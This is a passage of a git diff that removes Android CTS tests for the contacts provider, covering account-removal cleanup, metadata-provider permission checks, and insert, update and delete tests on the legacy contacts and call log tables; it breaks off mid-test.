-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-        try {
-            getContext().getContentResolver().insert(CONTENT_URI, new ContentValues());
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-        try {
-            getContext().getContentResolver().update(CONTENT_URI, new ContentValues(), null, null);
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-        try {
-            getContext().getContentResolver().delete(CONTENT_URI, null, null);
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/provider/src/android/provider/cts/ContactsProvider2_AccountRemovalTest.java
deleted file mode 100755
index cdb3546..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsProvider2_AccountRemovalTest.java
+++ /dev/null
@@ -1,253 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.contacts.DatabaseAsserts.ContactIdPair;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
-import android.content.ContentResolver;
-import android.os.SystemClock;
-import android.provider.cts.contacts.CommonDatabaseUtils;
-import android.provider.cts.contacts.ContactUtil;
-import android.provider.cts.contacts.DataUtil;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.provider.cts.contacts.DeletedContactUtil;
-import android.provider.cts.contacts.RawContactUtil;
-import android.provider.cts.contacts.account.StaticAccountAuthenticator;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
-
-import com.google.android.collect.Lists;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-
-@MediumTest
-public class ContactsProvider2_AccountRemovalTest extends AndroidTestCase {
-
-    private static long ASYNC_TIMEOUT_LIMIT_MS = 1000 * 60 * 1; // 3 minutes
-    private static long SLEEP_BETWEEN_POLL_MS = 1000 * 10; // 10 seconds
-
-    private static int NOT_MERGED = -1;
-
-    // Not re-using StaticAcountAuthenticator.ACCOUNT_1 because this test may break
-    // other tests running when the account is removed.  No other tests should use the following
-    // accounts.
-    private static final Account ACCT_1 = new Account("cp removal acct 1",
-            StaticAccountAuthenticator.TYPE);
-    private static final Account ACCT_2 = new Account("cp removal acct 2",
-            StaticAccountAuthenticator.TYPE);
-
-    private ContentResolver mResolver;
-    private AccountManager mAccountManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        mAccountManager = AccountManager.get(getContext());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
-    public void testAccountRemoval_deletesContacts() {
-        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
-        mAccountManager.addAccountExplicitly(ACCT_2, null, null);
-        ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
-        ArrayList<ContactIdPair> acc2Ids = createContacts(ACCT_2, 15);
-
-        mAccountManager.removeAccount(ACCT_2, null, null);
-        assertContactsDeletedEventually(System.currentTimeMillis(), acc2Ids);
-
-        mAccountManager.removeAccount(ACCT_1, null, null);
-        assertContactsDeletedEventually(System.currentTimeMillis(), acc1Ids);
-    }
-
-    public void testAccountRemoval_hasDeleteLogsForContacts() {
-        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
-        mAccountManager.addAccountExplicitly(ACCT_2, null, null);
-        ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
-        ArrayList<ContactIdPair> acc2Ids = createContacts(ACCT_2, 15);
-
-        long start = System.currentTimeMillis();
-        mAccountManager.removeAccount(ACCT_2, null, null);
-        assertContactsInDeleteLogEventually(start, acc2Ids);
-
-        start = System.currentTimeMillis();
-        mAccountManager.removeAccount(ACCT_1, null, null);
-        assertContactsInDeleteLogEventually(start, acc1Ids);
-    }
-
-    /**
-     * Contact has merged raw contacts from a single account.  Contact should be deleted upon
-     * account removal.
-     */
-    public void testAccountRemovalWithMergedContact_deletesContacts() {
-        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
-        ArrayList<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_1);
-        mAccountManager.removeAccount(ACCT_1, null, null);
-        assertContactsDeletedEventually(System.currentTimeMillis(), idList);
-    }
-
-    /**
-     * Contact has merged raw contacts from different accounts. Contact should not be deleted when
-     * one account is removed.  But contact should have last updated timestamp updated.
-     */
-    public void testAccountRemovalWithMergedContact_doesNotDeleteContactAndTimestampUpdated() {
-        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
-        mAccountManager.addAccountExplicitly(ACCT_2, null, null);
-        ArrayList<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_2);
-        long contactId = idList.get(0).mContactId;
-
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId);
-        long start = System.currentTimeMillis();
-        mAccountManager.removeAccount(ACCT_1, null, null);
-
-        while (ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId) == baseTime) {
-            assertWithinTimeoutLimit(start,
-                    "Contact " + contactId + " last updated timestamp has not been updated.");
-            SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
-        }
-        mAccountManager.removeAccount(ACCT_2, null, null);
-    }
-
-    public void testAccountRemovalWithMergedContact_hasDeleteLogsForContacts() {
-        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
-        ArrayList<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_1);
-        long start = System.currentTimeMillis();
-        mAccountManager.removeAccount(ACCT_1, null, null);
-        assertContactsInDeleteLogEventually(start, idList);
-    }
-
-    private ArrayList<ContactIdPair> createAndAssertMergedContact(Account acct, Account acct2) {
-        ContactIdPair ids1 = DatabaseAsserts.assertAndCreateContactWithName(mResolver, acct,
-                "merge me");
-        DataUtil.insertPhoneNumber(mResolver, ids1.mRawContactId, "555-5555");
-
-        ContactIdPair ids2 = DatabaseAsserts.assertAndCreateContactWithName(mResolver, acct2,
-                "merge me");
-        DataUtil.insertPhoneNumber(mResolver, ids2.mRawContactId, "555-5555");
-
-        // Check merge before continuing. Merge process is async.
-        long mergedContactId = assertMerged(System.currentTimeMillis(), ids1.mRawContactId,
-                ids2.mRawContactId);
-
-        // Update the contact id to the newly merged contact id.
-        ids1.mContactId = mergedContactId;
-        ids2.mContactId = mergedContactId;
-
-        return Lists.newArrayList(ids1, ids2);
-    }
-
-    private long assertMerged(long start, long rawContactId, long rawContactId2) {
-        long contactId = NOT_MERGED;
-        while (contactId == NOT_MERGED) {
-            assertWithinTimeoutLimit(start,
-                    "Raw contact " + rawContactId + " and " + rawContactId2 + " are not merged.");
-
-            SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
-            contactId = checkMerged(rawContactId, rawContactId2);
-        }
-        return contactId;
-    }
-
-    private long checkMerged(long rawContactId, long rawContactId2) {
-        long contactId = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId);
-        long contactId2 = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId2);
-        if (contactId == contactId2) {
-            return contactId;
-        }
-        return NOT_MERGED;
-    }
-
-    private void assertContactsInDeleteLogEventually(long start, ArrayList<ContactIdPair> idList) {
-        // Can not use newArrayList() because the version that accepts size is missing.
-        ArrayList<ContactIdPair> remaining = new ArrayList<ContactIdPair>(idList.size());
-        remaining.addAll(idList);
-        while (!remaining.isEmpty()) {
-            // Account cleanup is asynchronous, wait a bit before checking.
-            SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
-            assertWithinTimeoutLimit(start, "Contacts " + Arrays.toString(remaining.toArray()) +
-                    " are not in delete log after account removal.");
-
-            // Need a second list to remove since we can't remove from the list while iterating.
-            ArrayList<ContactIdPair> toBeRemoved = Lists.newArrayList();
-            for (ContactIdPair ids : remaining) {
-                long deletedTime = DeletedContactUtil.queryDeletedTimestampForContactId(mResolver,
-                        ids.mContactId);
-                if (deletedTime != CommonDatabaseUtils.NOT_FOUND) {
-                    toBeRemoved.add(ids);
-                    assertTrue("Deleted contact was found in delete log but insert time is before"
-                            + " start time", deletedTime > start);
-                }
-            }
-            remaining.removeAll(toBeRemoved);
-        }
-
-        // All contacts in delete log.  Pass.
-    }
-
-    /**
-     * Polls every so often to see if all contacts have been deleted.  If not deleted in the
-     * pre-defined threshold, fails.
-     */
-    private void assertContactsDeletedEventually(long start, ArrayList<ContactIdPair> idList) {
-        // Can not use newArrayList() because the version that accepts size is missing.
-        ArrayList<ContactIdPair> remaining = new ArrayList<ContactIdPair>(idList.size());
-        remaining.addAll(idList);
-        while (!remaining.isEmpty()) {
-            // Account cleanup is asynchronous, wait a bit before checking.
-            SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
-            assertWithinTimeoutLimit(start, "Contacts have not been deleted after account"
-                    + " removal.");
-
-            ArrayList<ContactIdPair> toBeRemoved = Lists.newArrayList();
-            for (ContactIdPair ids : remaining) {
-                if (!RawContactUtil.rawContactExistsById(mResolver, ids.mRawContactId)) {
-                    toBeRemoved.add(ids);
-                }
-            }
-            remaining.removeAll(toBeRemoved);
-        }
-
-        // All contacts deleted.  Pass.
-    }
-
-    private void assertWithinTimeoutLimit(long start, String message) {
-        long now = System.currentTimeMillis();
-        long elapsed = now - start;
-        if (elapsed > ASYNC_TIMEOUT_LIMIT_MS) {
-            fail(elapsed + "ms has elapsed. The limit is " + ASYNC_TIMEOUT_LIMIT_MS + "ms. " +
-                    message);
-        }
-    }
-
-    /**
-     * Creates a given number of contacts for an account.
-     */
-    private ArrayList<ContactIdPair> createContacts(Account account, int numContacts) {
-        ArrayList<ContactIdPair> accountIds = Lists.newArrayList();
-        for (int i = 0; i < numContacts; i++) {
-            accountIds.add(DatabaseAsserts.assertAndCreateContact(mResolver, account));
-        }
-        return accountIds;
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsTest.java
deleted file mode 100644
index 3b71d49..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsTest.java
+++ /dev/null
@@ -1,911 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.graphics.drawable.BitmapDrawable;
-import android.net.Uri;
-import android.os.RemoteException;
-import android.provider.CallLog;
-import android.provider.CallLog.Calls;
-import android.provider.Contacts;
-import android.provider.Contacts.ContactMethods;
-import android.provider.Contacts.Extensions;
-import android.provider.Contacts.GroupMembership;
-import android.provider.Contacts.Groups;
-import android.provider.Contacts.GroupsColumns;
-import android.provider.Contacts.Organizations;
-import android.provider.Contacts.People;
-import android.provider.Contacts.PeopleColumns;
-import android.provider.Contacts.Phones;
-import android.provider.Contacts.Photos;
-import android.provider.Contacts.Settings;
-import android.provider.ContactsContract;
-import android.telephony.PhoneNumberUtils;
-import android.test.InstrumentationTestCase;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.Date;
-
-public class ContactsTest extends InstrumentationTestCase {
-    private ContentResolver mContentResolver;
-    private ContentProviderClient mProvider;
-    private ContentProviderClient mCallLogProvider;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
-        mProvider = mContentResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mCallLogProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's people table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testPeopleTable() {
-        final String[] PEOPLE_PROJECTION = new String[] {
-                People._ID,
-                People.NAME, People.NOTES, People.TIMES_CONTACTED,
-                People.LAST_TIME_CONTACTED, People.STARRED,
-                People.CUSTOM_RINGTONE, People.SEND_TO_VOICEMAIL,};
-        final int ID_INDEX = 0;
-        final int NAME_INDEX = 1;
-        final int NOTES_INDEX = 2;
-        final int TIMES_CONTACTED_INDEX = 3;
-        final int LAST_TIME_CONTACTED_INDEX = 4;
-        final int STARRED_INDEX = 5;
-        final int CUSTOM_RINGTONE_INDEX = 6;
-        final int SEND_TO_VOICEMAIL_INDEX = 7;
-
-        String insertPeopleName = "name_insert";
-        String insertPeopleNotes = "notes_insert";
-        String updatePeopleName = "name_update";
-        String updatePeopleNotes = "notes_update";
-
-        try {
-            mProvider.delete(People.CONTENT_URI, PeopleColumns.NAME + " = ?",
-                    new String[] {insertPeopleName});
-            // Test: insert
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, insertPeopleName);
-            value.put(PeopleColumns.NOTES, insertPeopleNotes);
-            value.put(PeopleColumns.LAST_TIME_CONTACTED, 0);
-            value.put(PeopleColumns.CUSTOM_RINGTONE, (String) null);
-            value.put(PeopleColumns.SEND_TO_VOICEMAIL, 1);
-
-            Uri uri = mProvider.insert(People.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(People.CONTENT_URI,
-                    PEOPLE_PROJECTION, PeopleColumns.NAME + " = ?",
-                    new String[] {insertPeopleName}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(insertPeopleName, cursor.getString(NAME_INDEX));
-            assertEquals(insertPeopleNotes, cursor.getString(NOTES_INDEX));
-            assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX));
-            assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
-            assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX));
-            assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
-            assertEquals(0, cursor.getInt(STARRED_INDEX));
-            // TODO: Figure out what can be tested for the SYNC_* columns
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            long now = new Date().getTime();
-            value.put(PeopleColumns.NAME, updatePeopleName);
-            value.put(PeopleColumns.NOTES, updatePeopleNotes);
-            value.put(PeopleColumns.LAST_TIME_CONTACTED, (int) now);
-
-            mProvider.update(uri, value, null, null);
-            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
-                    "people._id" + " = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(updatePeopleName, cursor.getString(NAME_INDEX));
-            assertEquals(updatePeopleNotes, cursor.getString(NOTES_INDEX));
-            assertEquals((int) now, cursor.getInt(LAST_TIME_CONTACTED_INDEX));
-            assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
-            assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX));
-            assertEquals(1, cursor.getInt(TIMES_CONTACTED_INDEX));
-            assertEquals(0, cursor.getInt(STARRED_INDEX));
-            // TODO: Figure out what can be tested for the SYNC_* columns
-            cursor.close();
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
-                    "people._id" + " = " + id, null, null, null);
-            assertEquals(0, cursor.getCount());
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's groups table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testGroupsTable() {
-        final String[] GROUPS_PROJECTION = new String[] {
-                Groups._ID, Groups.NAME, Groups.NOTES,
-                Groups.SYSTEM_ID};
-        final int ID_INDEX = 0;
-        final int NAME_INDEX = 1;
-        final int NOTES_INDEX = 2;
-        final int SYSTEM_ID_INDEX = 3;
-
-        String insertGroupsName = "name_insert";
-        String insertGroupsNotes = "notes_insert";
-        String updateGroupsNotes = "notes_update";
-        String updateGroupsSystemId = "system_id_update";
-
-        try {
-            // Test: insert
-            ContentValues value = new ContentValues();
-            value.put(GroupsColumns.NAME, insertGroupsName);
-            value.put(GroupsColumns.NOTES, insertGroupsNotes);
-            value.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
-
-            Uri uri = mProvider.insert(Groups.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(Groups.CONTENT_URI,
-                    GROUPS_PROJECTION, Groups._ID + " = ?",
-                    new String[] {uri.getPathSegments().get(1)}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(insertGroupsName, cursor.getString(NAME_INDEX));
-            assertEquals(insertGroupsNotes, cursor.getString(NOTES_INDEX));
-            assertEquals(Groups.GROUP_MY_CONTACTS, cursor.getString(SYSTEM_ID_INDEX));
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(GroupsColumns.NOTES, updateGroupsNotes);
-            value.put(GroupsColumns.SYSTEM_ID, updateGroupsSystemId);
-
-            assertEquals(1, mProvider.update(uri, value, null, null));
-            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
-                    Groups._ID + " = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(updateGroupsNotes, cursor.getString(NOTES_INDEX));
-            assertEquals(updateGroupsSystemId, cursor.getString(SYSTEM_ID_INDEX));
-            cursor.close();
-
-            // Test: delete
-            assertEquals(1, mProvider.delete(uri, null, null));
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's photos table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testPhotosTable() {
-        final String[] PHOTOS_PROJECTION = new String[] {
-                Photos._ID, Photos.EXISTS_ON_SERVER, Photos.PERSON_ID,
-                Photos.LOCAL_VERSION, Photos.DATA,
-                Photos.SYNC_ERROR};
-        final int ID_INDEX = 0;
-        final int EXISTS_ON_SERVER_INDEX = 1;
-        final int PERSON_ID_INDEX = 2;
-        final int LOCAL_VERSION_INDEX = 3;
-        final int DATA_INDEX = 4;
-        final int SYNC_ERROR_INDEX = 5;
-
-        String updatePhotosLocalVersion = "local_version1";
-
-        try {
-            Context context = getInstrumentation().getTargetContext();
-            InputStream inputStream = context.getResources().openRawResource(
-                    android.provider.cts.R.drawable.testimage);
-            int size = inputStream.available();
-            byte[] data =  new byte[size];
-            inputStream.read(data);
-            BitmapDrawable sourceDrawable = (BitmapDrawable) context.getResources().getDrawable(
-                    android.provider.cts.R.drawable.testimage);
-            // Test: insert
-            ContentValues value = new ContentValues();
-            value.put(Photos.PERSON_ID, 1);
-            value.put(Photos.LOCAL_VERSION, "local_version0");
-            value.put(Photos.DATA, data);
-            try {
-                mProvider.insert(Photos.CONTENT_URI, value);
-                fail("Should throw out UnsupportedOperationException.");
-            } catch (UnsupportedOperationException e) {
-                // Don't support direct insert operation to photos URI.
-            }
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        } catch (IOException e) {
-            fail("Unexpected IOException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's phones table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testPhonesTable() {
-        final String[] PHONES_PROJECTION = new String[] {
-                Phones._ID, Phones.PERSON_ID, Phones.TYPE, Phones.NUMBER,
-                Phones.NUMBER_KEY, Phones.LABEL, Phones.ISPRIMARY};
-        final int ID_INDEX = 0;
-        final int PERSON_ID_INDEX = 1;
-        final int TYPE_INDEX = 2;
-        final int NUMBER_INDEX = 3;
-        final int NUMBER_KEY_INDEX = 4;
-        final int LABEL_INDEX = 5;
-        final int ISPRIMARY_INDEX = 6;
-
-        String insertPhonesNumber = "0123456789";
-        String updatePhonesNumber = "987*654yu3211+";
-        String customeLabel = "custom_label";
-
-        try {
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, "name_phones_test_stub");
-            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
-            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
-            // Test: insert
-            value.clear();
-            value.put(Phones.PERSON_ID, peopleId);
-            value.put(Phones.TYPE, Phones.TYPE_HOME);
-            value.put(Phones.NUMBER, insertPhonesNumber);
-            value.put(Phones.ISPRIMARY, 1);
-
-            Uri uri = mProvider.insert(Phones.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(Phones.CONTENT_URI,
-                    PHONES_PROJECTION, Phones.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            assertEquals(Phones.TYPE_HOME, cursor.getInt(TYPE_INDEX));
-            assertEquals(insertPhonesNumber, cursor.getString(NUMBER_INDEX));
-            assertEquals(PhoneNumberUtils.getStrippedReversed(insertPhonesNumber),
-                    cursor.getString(NUMBER_KEY_INDEX));
-            assertNull(cursor.getString(LABEL_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(Phones.TYPE, Phones.TYPE_CUSTOM);
-            value.put(Phones.NUMBER, updatePhonesNumber);
-            value.put(Phones.LABEL, customeLabel);
-
-            mProvider.update(uri, value, null, null);
-            cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
-                    "phones._id = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
-            assertEquals(updatePhonesNumber, cursor.getString(NUMBER_INDEX));
-            assertEquals(PhoneNumberUtils.getStrippedReversed(updatePhonesNumber),
-                    cursor.getString(NUMBER_KEY_INDEX));
-            assertEquals(customeLabel, cursor.getString(LABEL_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            cursor.close();
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
-                    Phones.PERSON_ID + " = " + peopleId, null, null, null);
-            assertEquals(0, cursor.getCount());
-
-            mProvider.delete(peopleUri, null, null);
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's organizations table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testOrganizationsTable() {
-        final String[] ORGANIZATIONS_PROJECTION = new String[] {
-                Organizations._ID, Organizations.COMPANY, Organizations.TITLE,
-                Organizations.ISPRIMARY, Organizations.TYPE, Organizations.LABEL,
-                Organizations.PERSON_ID};
-        final int ID_INDEX = 0;
-        final int COMPANY_INDEX = 1;
-        final int TITLE_INDEX = 2;
-        final int ISPRIMARY_INDEX = 3;
-        final int TYPE_INDEX = 4;
-        final int LABEL_INDEX = 5;
-        final int PERSON_ID_INDEX = 6;
-
-        String insertOrganizationsCompany = "company_insert";
-        String insertOrganizationsTitle = "title_insert";
-        String updateOrganizationsCompany = "company_update";
-        String updateOrganizationsTitle = "title_update";
-        String customOrganizationsLabel = "custom_label";
-
-        try {
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, "name_organizations_test_stub");
-            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
-            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
-            // Test: insert
-            value.clear();
-            value.put(Organizations.COMPANY, insertOrganizationsCompany);
-            value.put(Organizations.TITLE, insertOrganizationsTitle);
-            value.put(Organizations.TYPE, Organizations.TYPE_WORK);
-            value.put(Organizations.PERSON_ID, peopleId);
-            value.put(Organizations.ISPRIMARY, 1);
-
-            Uri uri = mProvider.insert(Organizations.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(
-                    Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
-                    Organizations.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(insertOrganizationsCompany, cursor.getString(COMPANY_INDEX));
-            assertEquals(insertOrganizationsTitle, cursor.getString(TITLE_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            assertEquals(Organizations.TYPE_WORK, cursor.getInt(TYPE_INDEX));
-            assertNull(cursor.getString(LABEL_INDEX));
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(Organizations.COMPANY, updateOrganizationsCompany);
-            value.put(Organizations.TITLE, updateOrganizationsTitle);
-            value.put(Organizations.TYPE, Organizations.TYPE_CUSTOM);
-            value.put(Organizations.LABEL, customOrganizationsLabel);
-
-            mProvider.update(uri, value, null, null);
-            cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
-                    "organizations._id" + " = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(updateOrganizationsCompany, cursor.getString(COMPANY_INDEX));
-            assertEquals(updateOrganizationsTitle, cursor.getString(TITLE_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            assertEquals(Organizations.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
-            assertEquals(customOrganizationsLabel, cursor.getString(LABEL_INDEX));
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            cursor.close();
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
-                    Organizations.PERSON_ID + " = " + peopleId, null, null, null);
-            assertEquals(0, cursor.getCount());
-
-            mProvider.delete(peopleUri, null, null);
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's calls table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testCallsTable() {
-        final String[] CALLS_PROJECTION = new String[] {
-                Calls._ID, Calls.NUMBER, Calls.DATE, Calls.DURATION, Calls.TYPE,
-                Calls.NEW, Calls.CACHED_NAME, Calls.CACHED_NUMBER_TYPE,
-                Calls.CACHED_NUMBER_LABEL, Calls.CACHED_FORMATTED_NUMBER,
-                Calls.CACHED_MATCHED_NUMBER, Calls.CACHED_NORMALIZED_NUMBER,
-                Calls.CACHED_LOOKUP_URI, Calls.CACHED_PHOTO_ID, Calls.COUNTRY_ISO,
-                Calls.GEOCODED_LOCATION, Calls.CACHED_PHOTO_URI, Calls.LAST_MODIFIED};
-        final int ID_INDEX = 0;
-        final int NUMBER_INDEX = 1;
-        final int DATE_INDEX = 2;
-        final int DURATION_INDEX = 3;
-        final int TYPE_INDEX = 4;
-        final int NEW_INDEX = 5;
-        final int CACHED_NAME_INDEX = 6;
-        final int CACHED_NUMBER_TYPE_INDEX = 7;
-        final int CACHED_NUMBER_LABEL_INDEX = 8;
-        final int CACHED_FORMATTED_NUMBER_INDEX = 9;
-        final int CACHED_MATCHED_NUMBER_INDEX = 10;
-        final int CACHED_NORMALIZED_NUMBER_INDEX = 11;
-        final int CACHED_LOOKUP_URI_INDEX = 12;
-        final int CACHED_PHOTO_ID_INDEX = 13;
-        final int COUNTRY_ISO_INDEX = 14;
-        final int GEOCODED_LOCATION_INDEX = 15;
-        final int CACHED_PHOTO_URI_INDEX = 16;
-        final int LAST_MODIFIED_INDEX = 17;
-
-        String insertCallsNumber = "0123456789";
-        int insertCallsDuration = 120;
-        String insertCallsName = "cached_name_insert";
-        String insertCallsNumberLabel = "cached_label_insert";
-
-        String updateCallsNumber = "987654321";
-        int updateCallsDuration = 310;
-        String updateCallsName = "cached_name_update";
-        String updateCallsNumberLabel = "cached_label_update";
-        String updateCachedFormattedNumber = "987-654-4321";
-        String updateCachedMatchedNumber = "987-654-4321";
-        String updateCachedNormalizedNumber = "+1987654321";
-        String updateCachedLookupUri = "cached_lookup_uri_update";
-        long updateCachedPhotoId = 100;
-        String updateCachedPhotoUri = "content://com.android.contacts/display_photo/1";
-        String updateCountryIso = "hk";
-        String updateGeocodedLocation = "Hong Kong";
-
-        try {
-            // Test: insert
-            int insertDate = (int) new Date().getTime();
-            ContentValues value = new ContentValues();
-            value.put(Calls.NUMBER, insertCallsNumber);
-            value.put(Calls.DATE, insertDate);
-            value.put(Calls.DURATION, insertCallsDuration);
-            value.put(Calls.TYPE, Calls.INCOMING_TYPE);
-            value.put(Calls.NEW, 0);
-            value.put(Calls.CACHED_NAME, insertCallsName);
-            value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_HOME);
-            value.put(Calls.CACHED_NUMBER_LABEL, insertCallsNumberLabel);
-
-            Uri uri = mCallLogProvider.insert(Calls.CONTENT_URI, value);
-            Cursor cursor = mCallLogProvider.query(
-                    Calls.CONTENT_URI, CALLS_PROJECTION,
-                    Calls.NUMBER + " = ?",
